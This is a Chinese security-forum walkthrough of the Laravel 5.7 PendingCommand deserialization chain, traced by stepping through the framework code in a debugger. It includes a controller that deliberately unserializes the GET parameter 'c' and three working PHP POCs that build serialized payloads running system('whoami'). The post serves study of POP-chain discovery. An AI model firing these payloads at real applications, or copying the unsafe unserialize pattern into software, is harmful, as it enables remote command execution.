安全矩阵

 找回密码
 立即注册
搜索
查看: 2599|回复: 0

Laravel5.7反序列化漏洞分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-5 14:49:47 | 显示全部楼层 |阅读模式
原文链接:Laravel5.7反序列化漏洞分析

环境搭建版本aravel5.7
PHPstudy+PHP7.3.5(PHP >= 7.1.3)
直接用composer安装
composer create-project laravel/laravel=5.7 laravel5-7 --prefer-dist
php artisan serve启动
接下来添加路由
routes\web.php下添加一个index路由
Route::get("/index","\App\Http\Controllers\TestController@demo");
app\Http\Controllers下新建一个TestController.php控制器
  1. <?php
  2. namespace App\Http\Controllers;

  3. use Illuminate\Http\Request;
  4. class TestController extends Controller
  5. {
  6.     public function demo()
  7.     {
  8.         if(isset($_GET['c'])){
  9.             $code = $_GET['c'];
  10.             unserialize($code);
  11.         }
  12.         else{
  13.             highlight_file(__FILE__);
  14.         }
  15.         return "Welcome to laravel5.7";
  16.     }
  17. }
复制代码


漏洞分析在laravel5.7的版本中新增了一个PendingCommand类,定位在
vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php
官方的解释该类主要功能是用作命令执行,并且获取输出内容。
进入这个类中,看到结尾有个__destruct()方法,可以作为反序列化的入口点

$this->hasExecuted的默认值是false

那这里就可以直接调用run()方法
跟进run()
  1. public function run()
  2. {
  3.     $this->hasExecuted = true;

  4.     $this->mockConsoleOutput();

  5.     try {
  6.         $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
  7.     } catch (NoMatchingExpectationException $e) {
  8.         if ($e->getMethodName() === 'askQuestion') {
  9.             $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
  10.         }

  11.         throw $e;
  12.     }

  13.     if ($this->expectedExitCode !== null) {
  14.         $this->test->assertEquals(
  15.             $this->expectedExitCode, $exitCode,
  16.             "Expected status code {$this->expectedExitCode} but received {$exitCode}."
  17.         );
  18.     }

  19.     return $exitCode;
  20. }
复制代码


看到一个参数可控的调用
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters)
不过在此之前调用了一个mockConsoleOutput函数,跟进看看
  1. protected function mockConsoleOutput()
  2. {
  3.     $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
  4.         (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
  5.     ]);

  6.     foreach ($this->test->expectedQuestions as $i => $question) {
  7.         $mock->shouldReceive('askQuestion')
  8.             ->once()
  9.             ->ordered()
  10.             ->with(Mockery::on(function ($argument) use ($question) {
  11.                 return $argument->getQuestion() == $question[0];
  12.             }))
  13.             ->andReturnUsing(function () use ($question, $i) {
  14.                 unset($this->test->expectedQuestions[$i]);

  15.                 return $question[1];
  16.             });
  17.     }

  18.     $this->app->bind(OutputStyle::class, function () use ($mock) {
  19.         return $mock;
  20.     });
  21. }
复制代码


这个Mockery::mock实现了一个对象模拟,但是我们的目的是要走完这段代码,这里用断点调试去单点调试,让他不报错然后回到下面参数可用的调用,不过这里还会调用一个createABufferedOutputMock函数,继续跟进
  1. private function createABufferedOutputMock()
  2. {
  3.     $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
  4.             ->shouldAllowMockingProtectedMethods()
  5.             ->shouldIgnoreMissing();

  6.     foreach ($this->test->expectedOutput as $i => $output) {
  7.         $mock->shouldReceive('doWrite')
  8.             ->once()
  9.             ->ordered()
  10.             ->with($output, Mockery::any())
  11.             ->andReturnUsing(function () use ($i) {
  12.                 unset($this->test->expectedOutput[$i]);
  13.             });
  14.     }

  15.     return $mock;
  16. }
复制代码


又实现了一次对象模拟,我们的目的还是为了走完这段代码,继续往下看,进入foreach
里面的$this->test->expectedOutput这里的$this->test可控,去调用任意类的expectedOutput属性,或者去调用__get()魔术方法,随便选取一个可用的get方法就行,这里可以用DefaultGenerator.php类或者Illuminate\Auth\GenericUser类,这个就很多了,只要找到个可用的就行
DefaultGenerator.php

GenericUser.php

随便用一个就行,只是要注意这里是foreach,所以我们要返回一个数组
$this->default=['T0WN'=>"hacker"]或者$this->attributes['expectedOutput']=1
回到mockConsoleOutput方法,也进入了应该foreach循环

这里的绕过方法和刚才一样去调用get方法,为了一次性控制,我就采用DefaultGenerator.php的get方法,然后走完这段代码回到run方法
但是这里的$this->app需要赋值为一个类,不然会报错

在注释中说了这里的是应该为\Illuminate\Foundation\Application类
接下来就是产生漏洞的关键代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名
Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,去调用$this->app[Kernel::class]里面的call函数
这段代码有点晦涩,先写一个poc试试,然后再来单点调试
  1. <?php

  2. namespace Illuminate\Foundation\Testing {
  3.     class PendingCommand
  4.     {
  5.         protected $command;
  6.         protected $parameters;
  7.         public $test;
  8.         protected $app;
  9.         public function __construct($test, $app, $command, $parameters)
  10.         {
  11.             $this->app = $app;
  12.             $this->test = $test;
  13.             $this->command = $command;
  14.             $this->parameters = $parameters;
  15.         }
  16.     }
  17. }

  18. namespace Faker {
  19.     class DefaultGenerator
  20.     {
  21.         protected $default;

  22.         public function __construct($default = null)
  23.         {
  24.             $this->default = $default;
  25.         }
  26.     }
  27. }

  28. namespace Illuminate\Foundation {
  29.     class Application
  30.     {
  31.         public function __construct($instances = [])
  32.         {
  33.         }
  34.     }
  35. }

  36. namespace {
  37.     $defaultgenerator = new Faker\DefaultGenerator(array("T0WN" => "1"));
  38.     $application = new Illuminate\Foundation\Application();
  39.     $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
  40.     echo urlencode(serialize($pendingcommand));
  41. }
复制代码


利用上面的poc这里走到了这段代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
但是再f8往下走就直接抛出异常了
所以就f7跟进看看调用栈是怎么样的,来到了offsetGet函数
或者直接跟进$this->app[Kernel::class]这段代码

跟进make
  1. public function make($abstract, array $parameters = [])
  2. {
  3.     $abstract = $this->getAlias($abstract);

  4.     if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
  5.         $this->loadDeferredProvider($abstract);
  6.     }

  7.     return parent::make($abstract, $parameters);
  8. }
复制代码


跟进其父类的make
  1. public function make($abstract, array $parameters = [])
  2. {
  3.     return $this->resolve($abstract, $parameters);
  4. }
复制代码


上面这些函数都没什么可控点
​​
跟进resolve
  1. protected function resolve($abstract, $parameters = [])
  2. {
  3.     $abstract = $this->getAlias($abstract);

  4.     $needsContextualBuild = ! empty($parameters) || ! is_null(
  5.         $this->getContextualConcrete($abstract)
  6.     );

  7.     // If an instance of the type is currently being managed as a singleton we'll
  8.     // just return an existing instance instead of instantiating new instances
  9.     // so the developer can keep using the same objects instance every time.
  10.     if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
  11.         return $this->instances[$abstract];
  12.     }

  13.     $this->with[] = $parameters;

  14.     $concrete = $this->getConcrete($abstract);
  15.     ......
复制代码


一直跟到resolve的这没报错,但是继续单步调试又报错了

那就接着跟进build函数
在里面的这个地方报错了

if判断这个类是否能够实例化,当前类是不能实例化的
可用看看Kernel类的定义
interface Kernel
定义为一个接口类,可用在PHP官方文档看到一个例子的输出

我们看输出效果就知道了,接口类和抽象类还有构造方法私有的类是不能实例化的,接口类的子类,抽象类的继承类是可以实例化的
所以这里进入了这个if判断
跟进notInstantiable
  1. protected function notInstantiable($concrete)
  2. {
  3.     if (! empty($this->buildStack)) {
  4.         $previous = implode(', ', $this->buildStack);

  5.         $message = "Target [$concrete] is not instantiable while building [$previous].";
  6.     } else {
  7.         $message = "Target [$concrete] is not instantiable.";
  8.     }

  9.     throw new BindingResolutionException($message);
  10. }
复制代码


可以看到会抛出一个异常,这就是为什么会报错的原因了
明白了原因再来看解决办法
回到resolve方法

跟进getConcrete方法
  1. protected function getConcrete($abstract)
  2. {
  3.     if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
  4.         return $concrete;
  5.     }

  6.     // If we don't have a registered resolver or concrete for the type, we'll just
  7.     // assume each type is a concrete name and will attempt to resolve it as is
  8.     // since the container should be able to resolve concretes automatically.
  9.     if (isset($this->bindings[$abstract])) {
  10.         return $this->bindings[$abstract]['concrete'];
  11.     }

  12.     return $abstract;
  13. }
复制代码


这里问题就出在这儿,可以看到
  1. if (isset($this->bindings[$abstract])) {
  2.         return $this->bindings[$abstract]['concrete'];
  3.     }
复制代码


当存在$this->bindings[$abstract]的时候就返回$this->bindings[$abstract]['concrete'],否则就返回$abstract
我们通过断点调试可以清楚的看到,$abstract的值是Kernel这个类

先来看看bindings属性,这个是Illuminate\Container\Container类的属性,不过我们这里的$this->app是Illuminate\Foundation\Application类,这个类刚好是Container类的子类,可以直接从Illuminate\Foundation\Application类来控制$this->bindings属性
那这里$this->bindings[$abstract]['concrete']是可控的了直接return,出这个函数
所以$concrete的值就是我们可以控制的任意类
到了这儿的if判断

跟进isBuildable
  1. protected function isBuildable($concrete, $abstract)
  2. {
  3.     return $concrete === $abstract || $concrete instanceof Closure;
  4. }
复制代码


这里的$concrete的值就是我们可以控制的任意类,$abstract还是之前的Kernel类,显然不成立
所以执行else,回到make函数,改变其参数值为我们控制的类,同样的流程再走一遍来到resolve方法
此时的$concrete与$abstract的值是一样的了,那就可以进入if,调用build方法
在build方法里有PHP反射机制
$reflector = new ReflectionClass($concrete);
这里$concrete就是我们刚才通过控制$this->bindings[$abstract]['concrete']返回的任意类
那这里就可以实例化任意类了
执行到了刚才报错的地方

当前类是可以实例化的,直接跳过if,然后层层返回,最后实例化了任意类
当然这里实例化的类里面需要具有call函数,这里选用了Illuminate\Foundation\Application类,所以最后返回的实例化对象就是Application类
然后调用里面的call方法,这里Application类并没有call方法,所以会直接跳到它父类Container.php里面的call方法
  1. public function call($callback, array $parameters = [], $defaultMethod = null)
  2. {
  3.     return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
  4. }
复制代码


跟进BoundMethod类的静态call方法
  1. public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
  2. {
  3.     if (static::isCallableWithAtSign($callback) || $defaultMethod) {
  4.         return static::callClass($container, $callback, $parameters, $defaultMethod);
  5.     }

  6.     return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
  7.         return call_user_func_array(
  8.             $callback, static::getMethodDependencies($container, $callback, $parameters)
  9.         );
  10.     });
  11. }
复制代码


跳过了第一个分支语句,来到return这里

  1. return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
  2.     return call_user_func_array(
  3.         $callback, static::getMethodDependencies($container, $callback, $parameters)
  4.     );
  5. });
复制代码



跟进callBoundMethod

判断$callback是不是数组,从上面断点调试的时候的值来看$callback是传进来的system,并不是数组所以很顺利进入了这个if,返回了$default
再看$default是callBoundMethod的第三个参数,这是一个自定义函数
  1. function () use ($container, $callback, $parameters) {
  2.     return call_user_func_array(
  3.         $callback, static::getMethodDependencies($container, $callback, $parameters)
  4.     );
  5. }
复制代码


直接return一个call_user_func_array(),第一个参数是$callback,现在跟进getMethodDependencies看看第二个参数怎么来的
  1. protected static function getMethodDependencies($container, $callback, array $parameters = [])
  2. {
  3.     $dependencies = [];

  4.     foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
  5.         static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
  6.     }

  7.     return array_merge($dependencies, $parameters);
  8. }
复制代码


就是返回一个合并数组,因为$dependencies是空数组,$parameters是我们传进来的whoami

所以返回值就是whoami
那$default的值就是system("whoami")了,单步跳过,会到了run方法发现命令执行成功

漏洞复现​​
POC1
  1. <?php

  2. namespace Illuminate\Foundation\Testing {

  3.     use Faker\DefaultGenerator;
  4.     use Illuminate\Foundation\Application;

  5.     class PendingCommand
  6.     {
  7.         protected $command;
  8.         protected $parameters;
  9.         protected $app;
  10.         public $test;

  11.         public function __construct($command, $parameters, $class, $app)
  12.         {
  13.             $this->command = $command;
  14.             $this->parameters = $parameters;
  15.             $this->test = $class;
  16.             $this->app = $app;
  17.         }
  18.     }
  19.     $a = array("DawnT0wn" => "1");
  20.     $app = array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"));
  21.     echo urlencode(serialize(new PendingCommand("system", array("whoami"), new DefaultGenerator($a), new Application($app))));
  22. }

  23. namespace Faker {
  24.     class DefaultGenerator
  25.     {
  26.         protected $default;

  27.         public function __construct($default = null)
  28.         {
  29.             $this->default = $default;
  30.         }
  31.     }
  32. }


  33. namespace Illuminate\Foundation {
  34.     class Application
  35.     {
  36.         protected $hasBeenBootstrapped = false;
  37.         protected $bindings;

  38.         public function __construct($bind)
  39.         {
  40.             $this->bindings = $bind;
  41.         }
  42.     }
  43. }
复制代码


这里$this->parameters需要是一个数组类型才行,不然在这里在第一个对象模拟这里就会报错


POC2刚才我们返回Application实例化对象的时候是通过反射去实现的
但是回到resolve方法

看看这里的if语句,先看后面$needsContextualBuild我们打断点的时候可以很明显的看到他的值是false,所以如果存在$this->instances[$abstract]就会直接返回$this->instances[$abstract],这个是可控的,所以就可以直接返回一个实例化的Application对象了
exp如下
  1. <?php

  2. namespace Illuminate\Foundation\Testing {
  3.     class PendingCommand
  4.     {
  5.         protected $command;
  6.         protected $parameters;
  7.         public $test;
  8.         protected $app;
  9.         public function __construct($test, $app, $command, $parameters)
  10.         {
  11.             $this->app = $app;
  12.             $this->test = $test;
  13.             $this->command = $command;
  14.             $this->parameters = $parameters;
  15.         }
  16.     }
  17. }

  18. namespace Faker {
  19.     class DefaultGenerator
  20.     {
  21.         protected $default;

  22.         public function __construct($default = null)
  23.         {
  24.             $this->default = $default;
  25.         }
  26.     }
  27. }

  28. namespace Illuminate\Foundation {
  29.     class Application
  30.     {
  31.         protected $instances = [];

  32.         public function __construct($instances = [])
  33.         {
  34.             $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
  35.         }
  36.     }
  37. }

  38. namespace {
  39.     $defaultgenerator = new Faker\DefaultGenerator(array("DawnT0wn" => "1"));
  40.     $app = new Illuminate\Foundation\Application();
  41.     $application = new Illuminate\Foundation\Application($app);
  42.     $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
  43.     echo urlencode(serialize($pendingcommand));
  44. }
复制代码



总结laravel5.7的链子肯定是不止这一条的,例如https://xz.aliyun.com/t/9478
这篇文章里面有几条链是在laravel5.4到5.8是通杀的,还有H3师傅总结的链子https://www.anquanke.com/post/id/258264
这里有10多条,里面有好几条也是可以通杀的,但是这里只分析了5.7最典型的一条链子
这条链子和以往的复现不太一样,对POP挖掘思路有很大的影响,可以明白在POP链挖掘的时候依次打断点去单步调试最后找到一条完整的链子,而不是每次去看到师傅的POC复现,这能让自己明白如何去寻找一条完整的POP链


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:12 , Processed in 0.029806 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表